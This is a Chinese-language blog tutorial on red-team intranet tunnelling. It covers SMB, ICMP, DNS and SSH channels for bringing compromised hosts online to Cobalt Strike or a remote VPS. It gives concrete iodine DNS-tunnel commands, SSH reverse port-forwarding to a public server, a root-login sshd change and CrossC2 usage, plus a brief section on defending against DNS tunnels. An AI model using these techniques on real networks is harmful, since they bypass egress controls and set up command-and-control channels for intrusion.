【内网安全】隧道技术SSHDNSICMPSMB上线通讯LinuxMac
创始人
2025-06-01 16:27:50

文章目录

  • SMB隧道&通讯&上线
  • ICMP隧道&通讯&上线
  • DNS隧道&通讯&上线
    • 1、上线环境:内网主机只出网DNS协议数据,解决上线
    • 2、通讯环境:
      • windows 演示
      • linux演示
  • SSH隧道&通讯
    • 防御DNS隧道攻击的方法
  • 控制上线-插件-Linux&Mac&IOS&Android
  • 参考:

CS不支持linux主机上线

在这里插入图片描述
这里禁用了所有tcp端口,依旧可以ping通,以及dns解析成功

SMB隧道&通讯&上线

判断:445通讯
通过端口扫描是否开放445端口进行判断
上线:借助通讯后绑定上线 详见往期文章
通讯:直接SMB协议通讯即可

ICMP隧道&通讯&上线

判断:ping命令
能ping通说明可以使用icmp隧道
上线:见往期文章

通讯:其他项目(icmpsh icmptunnel)
https://github.com/esrrhs/spp
https://github.com/bdamele/icmpsh
https://github.com/esrrhs/pingtunnel

DNS隧道&通讯&上线

在这里插入图片描述
判断:windows:nslookup linux:dig

1、上线环境:内网主机只出网DNS协议数据,解决上线

-域名申请及配置
在这里插入图片描述
-监听器创建及配置
在这里插入图片描述
-后门绑定监听器及生成

CS建立DNS隧道上线

mode dns-txt
sleep 0

2、通讯环境:

有些鸡肋
内网主机只出网DNS协议数据,解决通讯
判断出网:nslookup www.baidu.com

项目工具:https://github.com/yarrick/iodine
iodine/ˈaɪədaɪn/单词的意思就是碘 原子序数为 53,53 也是 DNS 服务对应的端口号

安装

yum install iodine   #centos
apt-get intall iodine #ubuntu

-服务器:设置密码xiaodi并创建虚拟IP及绑定域名指向 这里演示linux服务端,windows服务端下载地址 https://code.kryo.se/iodine/

iodined -f -c -P whgojp 192.168.0.1 ns1.whgojp.top -DD

sudo iodined -f -c -P whgojp 192.168.0.1 ns1.whgojp.top -DD
-f 在前台运行
-c 不检查传入请求的客户端 IP 地址
-P 客户端与服务端之间的连接密码
-D 调试级别,-D 表示第一级,-DD 表示第二级,依此类推
192.168.0.1 是自己自定义的局域网虚拟 IP 地址。

设置密码whgojp并创建虚拟IP及绑定域名指向
在这里插入图片描述
-客户端:连接密码whgojp并绑定域名指向

windows 演示

iodine -f -M 200 -P whgojp ns1.whgojp.top

在这里插入图片描述
直接放到靶机上执行会报错,windows客户端可以直接使用编译好的windows版本,同时需要安装TAP网卡驱动程序。也可以下载OpenVPN,安装时只选择TAP Virtual Ethernet Adapter,安装后服务器上就会多出一块“TAP-Wndows ADApter V9”的网卡
在这里插入图片描述
都能在对方电脑上安装程序了,还要这样大费周折

双方都新增了一个网卡(dns、TAP-9),从而建立了通道
ping不通是因为靶机上有防火墙

windows平台iodine建立DNS隧道连接

linux演示

未开防火墙
在这里插入图片描述

在这里插入图片描述

-尝试通讯尝试连接:
ssh kali@192.168.0.2
这里我尝试ssh连接,但是立即命令中断,可能是DNS配置问题
在这里插入图片描述

SSH隧道&通讯


判断:ssh连接
1、上线:
由于CS无SSH协议监听器配置,无法上线
2、通讯:
由于SSH协议存在于Linux系统,跳板机必须Linux

iptables -F /* 清除所有规则 /
iptables -A INPUT -p tcp --dport 22 -j ACCEPT /允许包从22端口进入/
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /允许从22端口进入的包返回/
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT /
域名解析端口,一般不开 /
iptables -A INPUT -p udp --sport 53 -j ACCEPT /
域名解析端口,一般不开 /
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT /允许本机访问本机/
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT /允许所有IP访问80端口/
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables-save > /etc/sysconfig/iptables /保存配置/
iptables -L /
显示iptables列表 */

开启ssh协议登录:

vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart

本地:入站封
将本地访问 10.10.10.132的流量转发至公网vps 1234端口上

ssh -CfNg -R 1122:10.10.10.132:8080 root@47.94.130.xx
curl http://127.0.0.1:1122

SSH隧道流量转发远程vps-信息探针

远程:出站封
将本地访问10.10.10.132的流量转发至本地的1234的端口上

ssh -CfNg -L 1234:10.10.10.132:8080 root@10.10.10.146
curl http://127.0.0.1:1234

同上输入146密码,访问本地(146)1234端口,
在这里插入图片描述

防御DNS隧道攻击的方法

禁止网络中任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。
虽然没有人会将TXT解析请求发送给DNS服务器,但是邮件服务器/网关会这样做,因此,可以将邮件服务器/网关列入白名单并阻止传入和传出流量中的TXT请求。
跟踪用户的DNS查询次数,如果达到阈值,就生成相应的报告

控制上线-插件-Linux&Mac&IOS&Android

项目:https://github.com/gloxec/CrossC2
面向Linux Mac IOS Android系统上线支持
1、插件使用
2、命令使用
使用参考:
https://gloxec.github.io/CrossC2/zh_cn/
1、下载对应版本加载器和CNA插件
2、上传加载器文件和本地加载CNA插件
3、修改CNA插件配置路径及上传Key文件
4、使用命令或插件绑定HTTPS监听器生成

使用CS4.7版本没有搭建成功

待续
在这里插入图片描述

安卓apk木马可以使用msf生成,不过只能在模拟器中成功上线

参考:

https://zhuanlan.zhihu.com/p/379021936
https://www.cnblogs.com/micr067/p/12263337.html

相关内容

热门资讯

【实验报告】实验一 图像的... 实验目的熟悉Matlab图像运算的基础——矩阵运算;熟悉图像矩阵的显示方法࿰...
MATLAB | 全网最详细网... 一篇超超超长,超超超全面网络图绘制教程,本篇基本能讲清楚所有绘制要点&#...
大模型落地比趋势更重要,NLP... 全球很多人都开始相信,以ChatGPT为代表的大模型,将带来一场NLP领...
Linux学习之端口、网络协议... 端口:设备与外界通讯交流的出口 网络协议:   网络协议是指计算机通信网...
kuernetes 资源对象分... 文章目录1. pod 状态1.1 容器启动错误类型1.2 ImagePullBackOff 错误1....
STM32实战项目-数码管 程序实现功能: 1、上电后,数码管间隔50ms计数; 2、...
TM1638和TM1639差异... TM1638和TM1639差异说明 ✨本文不涉及具体的单片机代码驱动内容,值针对芯...
Qt+MySql开发笔记:Qt... 若该文为原创文章,转载请注明原文出处 本文章博客地址:https://h...
Java内存模型中的happe... 第29讲 | Java内存模型中的happen-before是什么? Java 语言...
《扬帆优配》算力概念股大爆发,... 3月22日,9股封单金额超亿元,工业富联、鸿博股份、鹏鼎控股分别为3.0...
CF1763D Valid B... CF1763D Valid Bitonic Permutations 题目大意 拱形排列࿰...
SQL语法 DDL、DML、D... 文章目录1 SQL通用语法2 SQL分类3 DDL 数据定义语言3.1 数据库操作3.2 表操作3....
文心一言 VS ChatGPT... 3月16号,百度正式发布了『文心一言』,这是国内公司第一次发布类Chat...
CentOS8提高篇5:磁盘分...        首先需要在虚拟机中模拟添加一块新的硬盘设备,然后进行分区、格式化、挂载等...
Linux防火墙——SNAT、... 目录 NAT 一、SNAT策略及作用 1、概述 SNAT应用环境 SNAT原理 SNAT转换前提条...
部署+使用集群的算力跑CPU密... 我先在开头做一个总结,表达我最终要做的事情和最终环境是如何的,然后我会一...
Uploadifive 批量文... Uploadifive 批量文件上传_uploadifive 多个上传按钮_asing1elife的...
C++入门语法基础 文章目录:1. 什么是C++2. 命名空间2.1 域的概念2.2 命名...
2023年全国DAMA-CDG... DAMA认证为数据管理专业人士提供职业目标晋升规划,彰显了职业发展里程碑及发展阶梯定义...
php实现助记词转TRX,ET... TRX助记词转地址网上都是Java,js或其他语言开发的示例,一个简单的...
【分割数据集操作集锦】毕设记录 1. 按要求将CSV文件转成json文件 有时候一些网络模型的源码会有data.json这样的文件里...
Postman接口测试之断言 如果你看文字部分还是不太理解的话,可以看看这个视频,详细介绍postma...
前端学习第三阶段-第4章 jQ... 4-1 jQuery介绍及常用API导读 01-jQuery入门导读 02-JavaScri...
4、linux初级——Linu... 目录 一、用CRT连接开发板 1、安装CRT调试工具 2、连接开发板 3、开机后ctrl+c...
Urban Radiance ... Urban Radiance Fields:城市辐射场 摘要:这项工作的目标是根据扫描...
天干地支(Java) 题目描述 古代中国使用天干地支来记录当前的年份。 天干一共有十个,分别为:...
SpringBoot雪花ID长... Long类型精度丢失 最近项目中使用雪花ID作为主键,雪花ID是19位Long类型数...
对JSP文件的理解 JSP是java程序。(JSP本质还是一个Servlet) JSP是&#...
【03173】2021年4月高... 一、单向填空题1、大量应用软件开发工具,开始于A、20世纪70年代B、20世纪 80年...
LeetCode5.最长回文子... 目录题目链接题目分析解题思路暴力中心向两边拓展搜索 题目链接 链接 题目分析 简单来说࿰...